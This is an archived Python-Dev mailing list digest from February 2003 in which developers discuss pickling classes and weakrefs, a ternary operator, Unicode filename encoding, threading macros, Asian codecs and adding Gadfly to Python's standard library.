From: pyth@devel.trillke.net (holger krekel)
Date: Mon, 10 Feb 2003 17:20:36 +0100
Subject: [Python-Dev] bitwise operators and lambdas
In-Reply-To: <20030210105748.A18606@localhost.localdomain>; from jack@performancedrivers.com on Mon, Feb 10, 2003 at 10:57:48AM -0500
References: <20030210105748.A18606@localhost.localdomain>
Message-ID: <20030210172036.U1706@prim.han.de>

Jack Diederich wrote:
> I don't expect action or consensus on these, but I thought I get them on 
> record by posting
> 
> 1) move bitwise operators to a package and deprecate them from the 
>    language as special syntax
> 
> 2) use pipes as shorthand for lambdas

Hello Jack,

have you first checked your ideas with some of the nice people 
on c.l.py?  If not, please do so.  Many of us read c.l.py too. 

Please note, that we might even loose python-dev-elopers if this 
list continues to be overloaded with syntax propositions.  
It has happened. 

regards,

    holger


From paul@pfdubois.com  Mon Feb 10 17:11:16 2003
From: paul@pfdubois.com (Paul F Dubois)
Date: Mon, 10 Feb 2003 09:11:16 -0800
Subject: [Python-Dev] pickle me, Elmo?
In-Reply-To: <20030210150045.8978.89007.Mailman@mail.python.org>
Message-ID: <000301c2d127$6c8747d0$6601a8c0@NICKLEBY>

I read the new PEP about pickling with much interest and little
comprehension. I'd like to comment then just by saying what I wish I could
do and invite response as to whether the PEP will help do it.

I would like to be able to:

Save and restore a class definition
Save and restore a function definition






From jeremy@zope.com  Mon Feb 10 17:15:46 2003
From: jeremy@zope.com (Jeremy Hylton)
Date: 10 Feb 2003 12:15:46 -0500
Subject: [Python-Dev] pickle me, Elmo?
In-Reply-To: <000301c2d127$6c8747d0$6601a8c0@NICKLEBY>
References: <000301c2d127$6c8747d0$6601a8c0@NICKLEBY>
Message-ID: <1044897346.8719.48.camel@slothrop.zope.com>

On Mon, 2003-02-10 at 12:11, Paul F Dubois wrote:
> I read the new PEP about pickling with much interest and little
> comprehension. I'd like to comment then just by saying what I wish I could
> do and invite response as to whether the PEP will help do it.
> 
> I would like to be able to:
> 
> Save and restore a class definition
> Save and restore a function definition

How would you like that to work?  Do you want to save the source code in
the pickle and have it be compiled on unpickling?  Or do you want to
objects created from compiling a particular source file to be stored in
the pickle and recreated later, regardless of whether the source is
available?

Jeremy




From guido@python.org  Mon Feb 10 17:21:22 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 10 Feb 2003 12:21:22 -0500
Subject: [Python-Dev] pickle me, Elmo?
In-Reply-To: Your message of "Mon, 10 Feb 2003 09:11:16 PST."
 <000301c2d127$6c8747d0$6601a8c0@NICKLEBY>
References: <000301c2d127$6c8747d0$6601a8c0@NICKLEBY>
Message-ID: <200302101721.h1AHLMn26482@odiug.zope.com>

> I read the new PEP about pickling with much interest and little
> comprehension. I'd like to comment then just by saying what I wish I could
> do and invite response as to whether the PEP will help do it.
> 
> I would like to be able to:
> 
> Save and restore a class definition
> Save and restore a function definition

Alas, that ground is specifically not covered by pickling -- not in
the past and not now.  This is by design.  Pickling was designed for
data, and when the data contains a reference to a class or function,
that reference is specifically excluded from the pickling; instead,
the pickler says "here's a reference to class C (or function f) in
module M"; the unpickler imports module M, finds C or f in it, and
inserts that in the unpicked data.

But you're not the only one to want to save and restore classes and
functions.

Jeremy Hylton has gone through heroic efforts to make this possible in
Zope 3, by subclassing the Pickler and Unpickler classes.  Maybe he
can tell you more.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From python@rcn.com  Mon Feb 10 17:36:42 2003
From: python@rcn.com (Raymond Hettinger)
Date: Mon, 10 Feb 2003 12:36:42 -0500
Subject: [Python-Dev] vox populii illiterati
References: <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> <20030210041746.F1706@prim.han.de> <041301c2d0b6$091e4840$6d94fea9@newmexico> <200302101249.h1ACn7132627@pcp02138704pcs.reston01.va.comcast.net> <007801c2d11b$14b4a360$6d94fea9@newmexico> <20030210171120.T1706@prim.han.de>
Message-ID: <004301c2d12a$fa1e0c20$125ffea9@oemcomputer>

From: "holger krekel" <pyth@devel.trillke.net>
> IIRC nobody on c.l.py has come up with a real need
> for short-circuiting with the ternary op, anyway. 

Here's a copy of my reply to Aahz and c.l.py:

It is necessary when:
1. One of the alternatives has a side-effect; or
2. one or both alternatives are time consuming; or
3. the validity of the alternatives depends on the outcome
    of the test.

#  Example where all three reasons apply
data = isinstance(source, str)  ??   source.readlines()  ||  source.split()

1. readlines() moves the file pointer
2. for long sources, both alternatives take time
3. split() is only valid for strings and readlines() is only
    valid for file objects.


Raymond Hettinger



From python@rcn.com  Mon Feb 10 17:47:01 2003
From: python@rcn.com (Raymond Hettinger)
Date: Mon, 10 Feb 2003 12:47:01 -0500
Subject: [Python-Dev] vox populii illiterati
References: <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> <20030210041746.F1706@prim.han.de> <041301c2d0b6$091e4840$6d94fea9@newmexico> <200302101249.h1ACn7132627@pcp02138704pcs.reston01.va.comcast.net> <007801c2d11b$14b4a360$6d94fea9@newmexico> <20030210171120.T1706@prim.han.de> <004301c2d12a$fa1e0c20$125ffea9@oemcomputer>
Message-ID: <005c01c2d12c$6ac8b5a0$125ffea9@oemcomputer>

From: "Raymond Hettinger" <python@rcn.com>
> #  Example where all three reasons apply
> data = isinstance(source, str)  ??   source.readlines()  ||  source.split()

That should have been:
             isinstance(source, file)


Raymond Hettinger

#################################################################
#################################################################
#################################################################
#####
#####
#####
#################################################################
#################################################################
#################################################################

#################################################################
#################################################################
#################################################################
#####
#####
#####
#################################################################
#################################################################
#################################################################

#################################################################
#################################################################
#################################################################
#####
#####
#####
#################################################################
#################################################################
#################################################################


From tim.one@comcast.net  Mon Feb 10 17:45:59 2003
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 10 Feb 2003 12:45:59 -0500
Subject: [Python-Dev] pickle me, Elmo?
In-Reply-To: <000301c2d127$6c8747d0$6601a8c0@NICKLEBY>
Message-ID: <BIEJKCLHCIOIHAGOKOLHMEHKENAA.tim.one@comcast.net>

[Paul F Dubois]
> ...
> I'd like to comment then just by saying what I wish I could
> do and invite response as to whether the PEP will help do it.
>
> I would like to be able to:
>
> Save and restore a class definition
> Save and restore a function definition

Classes and functions continue to be pickled and unpickled "by name" under
the PEP, so, no, the PEP doesn't offer anything new in this area.



From walter@livinglogic.de  Mon Feb 10 17:54:03 2003
From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=)
Date: Mon, 10 Feb 2003 18:54:03 +0100
Subject: [Python-Dev] Unicode filenames
In-Reply-To: <r01050400-1023-3EC2F78B3D0111D7A290003065D5E7E4@[10.0.0.23]>
References: <r01050400-1023-3EC2F78B3D0111D7A290003065D5E7E4@[10.0.0.23]>
Message-ID: <3E47E73B.3060202@livinglogic.de>

Just van Rossum wrote:

> Walter Dörwald wrote:
> 
> [...]
 >
>>But when the system default encoding (i.e. sys.getdefaultencoding())
>>and the file system encoding are different, I'd say the filename has
>>to be transcoded from the system default encoding to the filesystem
>>encoding before it is used.
> 
> In most places (probably all, uness there's a bug)
> Py_FileSystemDefaultEncoding only has relevance for unicode strings:
> 8-bit strings are passed to the underlying calls unaltered.

That's exactly the problem. Strings passed to open() must always be
UTF-8 encoded, so open() is essentially a unicode API. Passing 8bit
strings to that function should always go through that unicode API,
i.e. the should be treated as any other 8bit string in the unicode
context. This means it must be decoded from the default encoding.

> So the above
> traceback is the result of the _OS_ refusing to name a file "\xff",
> which is natural as this particular OS (OSX) uses UTF-8 as the native
> file system encoding and "\xff" is not valid UTF-8. (I was actually
> pleasantly surprised the OS actually _cares_ ;-)

Bye,
    Walter Dörwald



From just@letterror.com  Mon Feb 10 18:52:15 2003
From: just@letterror.com (Just van Rossum)
Date: Mon, 10 Feb 2003 19:52:15 +0100
Subject: [Python-Dev] Unicode filenames
In-Reply-To: <3E47E73B.3060202@livinglogic.de>
Message-ID: <r01050400-1023-C848CBD83D2811D7A290003065D5E7E4@[10.0.0.23]>

Walter D=F6rwald wrote:

> >>But when the system default encoding (i.e. sys.getdefaultencoding())
> >>and the file system encoding are different, I'd say the filename has
> >>to be transcoded from the system default encoding to the filesystem
> >>encoding before it is used.
> >=20
> > In most places (probably all, uness there's a bug)
> > Py_FileSystemDefaultEncoding only has relevance for unicode strings:
> > 8-bit strings are passed to the underlying calls unaltered.
>=20
> That's exactly the problem. Strings passed to open() must always be
> UTF-8 encoded, so open() is essentially a unicode API.

(On platforms on which utf-8 is the file system encoding, yes.)

> Passing 8bit
> strings to that function should always go through that unicode API,
> i.e. the should be treated as any other 8bit string in the unicode
> context. This means it must be decoded from the default encoding.

Well, that's not how it currently works and changing that will break
code. I'm not sure about the rationale of the current semantics, but I
assume it has to do with compatibility with non-unicode-aware code.

Just


From jacobs@penguin.theopalgroup.com  Mon Feb 10 18:18:43 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Mon, 10 Feb 2003 13:18:43 -0500 (EST)
Subject: [Python-Dev] pickle me, Elmo?
In-Reply-To: <200302101721.h1AHLMn26482@odiug.zope.com>
Message-ID: <Pine.LNX.4.44.0302101316480.18287-100000@penguin.theopalgroup.com>

On Mon, 10 Feb 2003, Guido van Rossum wrote:
> Alas, that ground is specifically not covered by pickling -- not in
> the past and not now.  This is by design.  Pickling was designed for
> data, and when the data contains a reference to a class or function,
> that reference is specifically excluded from the pickling; instead,
> the pickler says "here's a reference to class C (or function f) in
> module M"; the unpickler imports module M, finds C or f in it, and
> inserts that in the unpicked data.
> 
> But you're not the only one to want to save and restore classes and
> functions.

Or if one wants to pickle instances of classes generated on the fly using
the 'type' constructor and/or metaclasses.  I'm looking forward to
evaluating the pickle protocol 2 to see if it can make this possible.

-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From guido@python.org  Mon Feb 10 19:02:59 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 10 Feb 2003 14:02:59 -0500
Subject: [Python-Dev] pickle me, Elmo?
In-Reply-To: Your message of "Mon, 10 Feb 2003 13:18:43 EST."
 <Pine.LNX.4.44.0302101316480.18287-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0302101316480.18287-100000@penguin.theopalgroup.com>
Message-ID: <200302101903.h1AJ2xc00454@odiug.zope.com>

> Or if one wants to pickle instances of classes generated on the fly using
> the 'type' constructor and/or metaclasses.  I'm looking forward to
> evaluating the pickle protocol 2 to see if it can make this possible.

Please get together with Jeremy, who's done almost exactly this for
Zope 3.  I'm not sure that protocol 2 will be of much help; Jeremy's
code depends on subclassing Pickler and Unpickler, limiting him to
pickling at Python speed (cPickle doesn't allow subclassing and even
if it did, it doesn't have the same internal structure as the classes
in pickle.py; most subclasses I've seen depend on that internal
structure).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Mon Feb 10 16:34:27 2003
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 10 Feb 2003 11:34:27 -0500
Subject: [Python-Dev] RE: [Python-checkins] python/dist/src/Python bltinmodule.c,2.276,2.277
In-Reply-To: <5F4F97C8-3D09-11D7-AF40-0030655234CE@cwi.nl>
Message-ID: <BIEJKCLHCIOIHAGOKOLHMEHAENAA.tim.one@comcast.net>

[Jack Jansen]
> ...
> If you build with Apple's MPW compilers it probably is, but (a) these
> compilers are horribly outdated and (b) it would take major surgery to
> compile Python with MPW anyway, nowadays.

In that case, can we remove the MPW #ifdef's from the Python core?  Things
like object.c's

#ifdef MPW /* MPW C modf expects pointer to extended as second argument */
{
	extended e;
	fractpart = modf(v, &e);
	intpart = e;
}
#else
	fractpart = modf(v, &intpart);
#endif


and mathmodule.c's flea on the tip of the tail of the dog

#ifdef MPW_3_1 /* This hack is needed for MPW 3.1 but not for 3.2 ... */
FUNC2(pow, power,
      "pow(x,y)\n\nReturn x**y (x to the power of y).")
#else


and acceler.c's germ on the aforemetioned flea's hindquarters:

#ifdef MPW_881_BUG
					/* In 881 mode MPW 3.1 has a code
					   generation bug which seems to
					   set the upper bits; fix this by
					   explicitly masking them off */
					int temp;
#endif


And so on.  These don't really improve maintainability <wink>.



From ark@gmx.net  Mon Feb 10 19:14:42 2003
From: ark@gmx.net (Arne Koewing)
Date: Mon, 10 Feb 2003 20:14:42 +0100
Subject: [Python-Dev] Re: pickle me, Elmo? (weakref feature request)
References: <20030210150045.8978.89007.Mailman@mail.python.org> <000301c2d127$6c8747d0$6601a8c0@NICKLEBY>
Message-ID: <87adh4lzh9.fsf_-_@gmx.net>

Is this the right time to post a feature request ?

It's about pickling weakrefs:

let's assume i 've created 3 class instances

>>> class A:
...     pass

>>> a = A()
>>> b = A()
>>> c = A()
>>> a.b = b                  #put b into a
>>> a.ref_b = weakref.ref(b) #weakref to b
>>> a.ref_c = weakref.ref(c) #weakref to c

now i pickle around

>>> data = pickle.dumps(a)
>>> new_a = pickle.loads(data)

now i would like to have:

new_a       is my unpickled a
new_a.b     is my unpickled b
new_a.ref_b is an weakref to new_a.b
new_a.ref_c is an dead weakref 
(c was not pickled because it's just weakly-referenced)


weakrefs are not supported by the default, but this kind of 'support' 
could not (i didn't get it ;) be added using the  copy_reg module,
but it seems to be very useful;

weakrefs could used as an "pickling-barrier"...

what do you think?


Arne








From guido@python.org  Mon Feb 10 19:48:04 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 10 Feb 2003 14:48:04 -0500
Subject: [Python-Dev] Re: pickle me, Elmo? (weakref feature request)
In-Reply-To: Your message of "Mon, 10 Feb 2003 20:14:42 +0100."
 <87adh4lzh9.fsf_-_@gmx.net>
References: <20030210150045.8978.89007.Mailman@mail.python.org> <000301c2d127$6c8747d0$6601a8c0@NICKLEBY>
 <87adh4lzh9.fsf_-_@gmx.net>
Message-ID: <200302101948.h1AJm4J03334@odiug.zope.com>

> Is this the right time to post a feature request ?

To get something into Python 2.3's pickling, it's now or never.

> It's about pickling weakrefs:
> 
> let's assume i 've created 3 class instances
> 
> >>> class A:
> ...     pass
> 
> >>> a = A()
> >>> b = A()
> >>> c = A()
> >>> a.b = b                  #put b into a
> >>> a.ref_b = weakref.ref(b) #weakref to b
> >>> a.ref_c = weakref.ref(c) #weakref to c
> 
> now i pickle around
> 
> >>> data = pickle.dumps(a)
> >>> new_a = pickle.loads(data)
> 
> now i would like to have:
> 
> new_a       is my unpickled a
> new_a.b     is my unpickled b
> new_a.ref_b is an weakref to new_a.b
> new_a.ref_c is an dead weakref 
> (c was not pickled because it's just weakly-referenced)
> 
> 
> weakrefs are not supported by the default, but this kind of 'support' 
> could not (i didn't get it ;) be added using the  copy_reg module,
> but it seems to be very useful;

Your grammar here seems garbled; I'll just take it to mean that you'd
like the example to work. ;-)

> weakrefs could used as an "pickling-barrier"...
> 
> what do you think?

I brainstormed for a few minutes with Fred Drake, the weakref expert,
but we saw many obstacles to implementing it.  It would be A Major
Project to implement this: it would require adding new methods to
weakref objects, and new pickling codes, and an extension to the
pickling and unpickling engines...

IOW, I don't see it happening.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jeremy@zope.com  Mon Feb 10 19:59:41 2003
From: jeremy@zope.com (Jeremy Hylton)
Date: 10 Feb 2003 14:59:41 -0500
Subject: [Python-Dev] Re: pickle me, Elmo? (weakref feature request)
In-Reply-To: <200302101948.h1AJm4J03334@odiug.zope.com>
References: <20030210150045.8978.89007.Mailman@mail.python.org>
 <000301c2d127$6c8747d0$6601a8c0@NICKLEBY>   <87adh4lzh9.fsf_-_@gmx.net>
 <200302101948.h1AJm4J03334@odiug.zope.com>
Message-ID: <1044907180.8719.117.camel@slothrop.zope.com>

On Mon, 2003-02-10 at 14:48, Guido van Rossum wrote:
> I brainstormed for a few minutes with Fred Drake, the weakref expert,
> but we saw many obstacles to implementing it.  It would be A Major
> Project to implement this: it would require adding new methods to
> weakref objects, and new pickling codes, and an extension to the
> pickling and unpickling engines...
> 

I suspect that something like this feature could be implemented using
persistent_id() and persistent_load().  The persistent_id() could do
something special for weak references, returning a persistent id that is
the id() of the referenced object.  The persistent_load() function could
check for one in the memo and create a new weakref if it exists;
otherwise, it would return None.

The one hitch is that the only reference to an object might occur after
the weakref.  The unpickler wouldn't know that the object occurred
later.  Not sure how to finesse this problem; it seems to require a
second pass over the pickle stream at some point, which is a major
rewrite.  Perhaps the persistent_load() always returns a proxy object
that isn't a weakref, but has the same interface.  When the unpickler is
done, it gives all these objects a chance to check the memo for the real
objects.  

Anyway, I think you could come up with something without too much
effort.

Jeremy




From bac@OCF.Berkeley.EDU  Mon Feb 10 20:35:27 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Mon, 10 Feb 2003 12:35:27 -0800 (PST)
Subject: [Python-Dev] Re: Atomic operations
In-Reply-To: <15943.46690.398074.138483@montanaro.dyndns.org>
References: <200302031653.h13Grof20104@odiug.zope.com>
 <200302042057.h14KvEI26727@odiug.zope.com>
 <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>
 <200302051448.h15EmL428173@odiug.zope.com>        <15938.27939.731673.576239@gargle.gargle.HOWL>
 <15938.40091.534416.426167@gargle.gargle.HOWL>
 <Pine.SOL.4.53.0302092226110.26243@death.OCF.Berkeley.EDU>
 <15943.46690.398074.138483@montanaro.dyndns.org>
Message-ID: <Pine.SOL.4.53.0302101231100.19794@death.OCF.Berkeley.EDU>

[Skip Montanaro]

>
>     Brett> I was actually thinking more along the lines of having something
>     Brett> like::
>
>     Brett>  atomic:
>     Brett>      lock()
>     Brett>  ...
>
>     Brett> with atomic basically shutting down threading temporarily until
>     Brett> everything in its body is executed.
>
> This would presumably generate bytecode something like:
>
>     GRAB_GIL
>     lock()
>     ... execute the block's code ...
>     unlock()
>     RELEASE_GIL
>
> Suppose code in your block makes a call to a threading-aware extension
> module.  Won't it obligingly release the GIL if it goes to do some longish
> operation?  If so, wouldn't you then be screwed?
>

Yes, you would be screwed.  As I said, you could screw yourself with your
code.  But could you do something like keep a list of what threads were
running while this atomic state is being run, and then when the GIL is
released that list is checked before any threads just randomly grab for
the GIL?  That would make sure things are still done synchronously.  You
would also have to temporarily disable the bytecode instruction counter
while this atomic state is in affect.

But if the consensus is that this is too difficult to implement or not
worth it I will just drop the idea.

-Brett


From perky@fallin.lv  Mon Feb 10 20:51:28 2003
From: perky@fallin.lv (Hye-Shik Chang)
Date: Tue, 11 Feb 2003 05:51:28 +0900
Subject: [Python-Dev] Adding Japanese Codecs to the distro
In-Reply-To: <3E2F00C1.7060905@lemburg.com>
References: <20030122085353.AB36.ISHIMOTO@gembook.org> <200301221614.h0MGE4R17977@grad.sccs.chukyo-u.ac.jp> <3E2F00C1.7060905@lemburg.com>
Message-ID: <20030210205128.GA4889@fallin.lv>

On Wed, Jan 22, 2003 at 09:36:17PM +0100, M.-A. Lemburg wrote:
> Tamito KAJIYAMA wrote:
> >On the efficiency of my codecs: Honestly speaking, the
> >priorities with regard to time and space efficiencies during the
> >development of JapaneseCodecs were very low.  I believe there is
> >much room for improvements.  The set of mapping tables in the
> >pure Python codecs would be the very first candidate.
> 
> Ok, how about this: we include the C versions of your codecs
> in the distribution and you take over maintenance as soon
> as time permits.
> 
> Still, I'd would love to see some further improvement of the
> size and performance of the codecs (and maybe support for the
> new error callbacks; something which Hisao has integrated
> into his codecs).
> 
> Would it be possible for you two to team up for the further
> developement of the Japanese codecs ?
> 
> Perhaps Hye-Shik Chang could join you in the effort, since he's
> the author of the KoreanCodecs package which has somewhat
> similar problem scope (that of stateful encodings with a huge
> number of mappings) ?
> 

I just submitted a patch for incorporating Korean Codecs (SF #684142).
It's just around 55KB as a stripped 32bit binary.
I'm studying Japanese and Chinese encodings nowadays. I'll try to
make a patch for Tamito's JapaneseCodecs and Chen Chien-Hsun's ChineseCodecs
for PEP293 support and small binary size if I can do. :)

> Thanks,
> -- 
> Marc-Andre Lemburg
> CEO eGenix.com Software GmbH


Regards,

    Hye-Shik =)



From mhammond@skippinet.com.au  Mon Feb 10 21:45:45 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Tue, 11 Feb 2003 08:45:45 +1100
Subject: [Python-Dev] Unicode filenames
In-Reply-To: <r01050400-1023-C848CBD83D2811D7A290003065D5E7E4@[10.0.0.23]>
Message-ID: <000b01c2d14d$c545fb20$530f8490@eden>

I'm not sure I have followed this completely, but:

> (On platforms on which utf-8 is the file system encoding, yes.)
>
> > Passing 8bit
> > strings to that function should always go through that unicode API,
> > i.e. the should be treated as any other 8bit string in the unicode
> > context. This means it must be decoded from the default encoding.

The problem is that some file system related functions will return strings
*already in* the "file system encoding" - ie, on Windows, some functions
will return mbcs encoded filenames.  Thus, there is a round-trip problem -
if you get a filename from os.listdir(), you could not pass it to open()
without lots of head-scratching.

The default file system encoding allows you to assume that 8 bit strings
passed to open are pre-encoded strings - ie, are likely to have previously
come directly from another API function.

IIRC, the current rules on Windows are:
* Pass a Unicode filename, and Python calls the Unicode versions of the API.
* Pass a string, and it is assumed the string is *already* in the default
file system encoding, so the string is ont re-encoded.

Mark.



From mhammond@skippinet.com.au  Mon Feb 10 22:59:09 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Tue, 11 Feb 2003 09:59:09 +1100
Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS?
Message-ID: <001d01c2d158$05ed4c00$530f8490@eden>

Hi all,
  As part of my "auto thread state" work, I am discovering some very
interesting things - including the fact that pythread.h *already* defines a
Python Thread Local Storage API, and that thread_sgi.h contains a safe,
portable working implementation :)

However, to do this auto thread state work properly, I will need to change
the definition of Py_END_ALLOW_THREADS.  Specifically, Py_END_ALLOW_THREADS
needs to be able to handle the fact that the lock may or may not be held
when it is called (whereas now, the lock must *not* be held)

Specifically, the changes would look like:
* New function to determine if the current thread's threadstate is "current"
* New function, PyEval_EnsureThread(), which is nearly identical to
PyEval_RestoreThread(), except it only attempts the restore of the thread
state if it is not already current.

The above 2 are fairly easy to implement in a thread-safe manner - if the
thread only checks its *own* thread state is current, the result of that
check will remain valid on this thread, even if another thread becomes
current during processing.

This means that Py_END_ALLOW_THREADS then changes from:
#define Py_END_ALLOW_THREADS  PyEval_RestoreThread(_save); \
to:
#define Py_END_ALLOW_THREADS  PyEval_EnsureThread(_save); \

Now, I understand that a complete blessing of this scheme will need more
details - but I am concerned that *any* change to Py_END_ALLOW_THREADS will
blow this scheme out of the water.  For example, the Win32 extensions have,
in a few places, emulated Py_BEGIN_ALLOW_THREADS, and all of this code will
need to change.  From my POV though, the only reason I needed these hacks in
the first place was due to an incomplete thread state API, so such changes
are worthwhile to me.  Other's mileage may vary.

FWIW, I have a portable (ie, no windows specific code at all) "auto thread
state" implementation fully working with the Win32all extensions.  These
extensions do some funky things with threads and thread-states, and it all
works perfectly.  However, it does rely on this Py_END_ALLOW_THREAD change.
See the full patch at http://www.python.org/sf/684256

Thanks,

Mark.



From zen@shangri-la.dropbear.id.au  Tue Feb 11 00:17:42 2003
From: zen@shangri-la.dropbear.id.au (Stuart Bishop)
Date: Tue, 11 Feb 2003 11:17:42 +1100
Subject: [Python-Dev] Re: GadflyDA in core? Or as add-on-product?
In-Reply-To: <82D9C667-2DA8-11D7-88CD-000393B63DDC@shangri-la.dropbear.id.au>
Message-ID: <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au>

On Wednesday, January 22, 2003, at 12:26  PM, Stuart Bishop wrote:

> cc:'d to Aaron for the horses mouth opinion if the email address I have
> is still valid.

After remembering where Aaron now works, and emailing the following to
his *correct* address, I got a 'Yes, no problem'.

msg_to_aaron = """
I don't know if you saw this thread or not on Python-dev:
	http://mail.python.org/pipermail/python-dev/2003-January/032295.html

Looks like Gadfly can go into the core Python distribution. One of the
outstanding issues is that of the licence, which concerned Guido:
	http://mail.python.org/pipermail/python-dev/2003-January/032305.html

Would you be interested in allowing the PSF to distribute Gadfly under
its own licence to simplify things?
"""

So it looks like everything is fine, at least after we can extricate
the keyboard Anthony managed to embed in his forehead. Speaking of 
which,
should we proceed assuming nothing will be included until we have a
a replacement for kjbuckets? If this isn't a requirement and we can
proceed with the existing C code (with fallback to pure python), then
we might be able to get this into 2.3 alpha 2. Otherwise I can give in
to my inherent laziness and assume 2.3.1 or 2.4.

Do I need a PEP, given that adding this as a module seems generally 
accepted
both in python-dev and the DB SIG?

-- 
Stuart Bishop <zen@shangri-la.dropbear.id.au>
http://shangri-la.dropbear.id.au/



From bac@OCF.Berkeley.EDU  Tue Feb 11 00:41:53 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Mon, 10 Feb 2003 16:41:53 -0800 (PST)
Subject: [Python-Dev] Re: GadflyDA in core? Or as add-on-product?
In-Reply-To: <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au>
References: <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au>
Message-ID: <Pine.SOL.4.53.0302101638370.4440@death.OCF.Berkeley.EDU>

[Stuart Bishop]

> So it looks like everything is fine, at least after we can extricate
> the keyboard Anthony managed to embed in his forehead. Speaking of
> which,
> should we proceed assuming nothing will be included until we have a
> a replacement for kjbuckets? If this isn't a requirement and we can
> proceed with the existing C code (with fallback to pure python), then
> we might be able to get this into 2.3 alpha 2. Otherwise I can give in
> to my inherent laziness and assume 2.3.1 or 2.4.
>

If I remember correctly Guido said it is a requirement to replace
kjbuckets with something else (Python version is acceptable).  I know I
personally would vote against letting it in with kjbuckets in C.

> Do I need a PEP, given that adding this as a module seems generally
> accepted
> both in python-dev and the DB SIG?
>

Only really needed if you need to convince Guido that it is a good idea or
get enough of a following to get Guido to overrule himself.

-Brett


From guido@python.org  Tue Feb 11 01:40:45 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 10 Feb 2003 20:40:45 -0500
Subject: [Python-Dev] Re: GadflyDA in core? Or as add-on-product?
In-Reply-To: "Your message of Tue, 11 Feb 2003 11:17:42 +1100."
 <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au>
References: <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au>
Message-ID: <200302110140.h1B1ejk02792@pcp02138704pcs.reston01.va.comcast.net>

> On Wednesday, January 22, 2003, at 12:26  PM, Stuart Bishop wrote:
> 
> > cc:'d to Aaron for the horses mouth opinion if the email address I have
> > is still valid.
> 
> After remembering where Aaron now works, and emailing the following to
> his *correct* address, I got a 'Yes, no problem'.
> 
> msg_to_aaron = """
> I don't know if you saw this thread or not on Python-dev:
> 	http://mail.python.org/pipermail/python-dev/2003-January/032295.html
> 
> Looks like Gadfly can go into the core Python distribution. One of the
> outstanding issues is that of the licence, which concerned Guido:
> 	http://mail.python.org/pipermail/python-dev/2003-January/032305.html
> 
> Would you be interested in allowing the PSF to distribute Gadfly under
> its own licence to simplify things?
> """
> 
> So it looks like everything is fine, at least after we can extricate
> the keyboard Anthony managed to embed in his forehead. Speaking of
> which, should we proceed assuming nothing will be included until we
> have a a replacement for kjbuckets? If this isn't a requirement and
> we can proceed with the existing C code (with fallback to pure
> python), then we might be able to get this into 2.3 alpha 2.
> Otherwise I can give in to my inherent laziness and assume 2.3.1 or
> 2.4.
> 
> Do I need a PEP, given that adding this as a module seems generally
> accepted both in python-dev and the DB SIG?

No PEP is needed, but I'd like to understand more of the mechanics of
adding this to the distribution.  I've got no problem with adding more
Python code to the standard library, but (as Brett mentioned) I'd like
to keep the kjbuckets C code out unless we have a volunteer to both
clean it up and maintain it.

Also, I just looked at the copy of gadfly that's part of Zope, and it
is about 15,000 lines!  (And that's only Python code -- no C code
included, nor docs.)  Do we really need all that?  Who is going to
maintain it?  Is somebody going to convert the gadfly docs (assuming
they exist) into LaTeX?  Or is it just going to be an undocumented
pile of code that only people who happen to already know how to use it
can really use?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Tue Feb 11 01:52:43 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 10 Feb 2003 20:52:43 -0500
Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS?
In-Reply-To: "Your message of Tue, 11 Feb 2003 09:59:09 +1100."
 <001d01c2d158$05ed4c00$530f8490@eden>
References: <001d01c2d158$05ed4c00$530f8490@eden>
Message-ID: <200302110152.h1B1qix02897@pcp02138704pcs.reston01.va.comcast.net>

>   As part of my "auto thread state" work, I am discovering some very
> interesting things - including the fact that pythread.h *already* defines a
> Python Thread Local Storage API, and that thread_sgi.h contains a safe,
> portable working implementation :)

Feel free to migrate that into thread.c with some #ifdef test so a
platform can offer something better.

> However, to do this auto thread state work properly, I will need to change
> the definition of Py_END_ALLOW_THREADS.  Specifically, Py_END_ALLOW_THREADS
> needs to be able to handle the fact that the lock may or may not be held
> when it is called (whereas now, the lock must *not* be held)

Can you explain how the current thread, which explicitly released the
lock in Py_BEGIN_ALLOW_THREADS, could end up owning the lock when
Py_END_ALLOW_THREADS is entered?

> Specifically, the changes would look like:
> * New function to determine if the current thread's threadstate is "current"
> * New function, PyEval_EnsureThread(), which is nearly identical to
> PyEval_RestoreThread(), except it only attempts the restore of the thread
> state if it is not already current.
> 
> The above 2 are fairly easy to implement in a thread-safe manner - if the
> thread only checks its *own* thread state is current, the result of that
> check will remain valid on this thread, even if another thread becomes
